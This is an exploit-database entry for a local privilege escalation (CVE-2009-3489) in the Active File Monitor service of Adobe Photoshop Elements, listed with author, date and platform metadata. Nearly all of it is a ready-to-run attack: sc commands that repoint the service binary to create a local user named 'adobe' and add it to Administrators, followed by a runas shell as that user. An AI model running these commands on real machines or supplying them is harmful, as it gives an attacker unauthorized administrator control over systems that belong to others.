Adobe Photoshop Elements - Active File Monitor Service Privilege Escalation

Author: bellick
type: local
platform: windows
port: 0
date_added: 2009-10-28
date_updated: 
verified: 1
codes: CVE-2009-3489;OSVDB-58418
tags: 
aliases: 
screenshot_url: 
application_url: 

To exploit this issue, attackers require local, interactive access to an affected computer.

The following example commands are available:

sc stop "AdobeActiveFileMonitor8.0"
sc config "AdobeActiveFileMonitor8.0" binPath= "cmd /c net user adobe kills /add && net localgroup Administrators adobe /add"
sc start "AdobeActiveFileMonitor8.0"
runas /noprofile /user:%COMPUTERNAME%\adobe cmd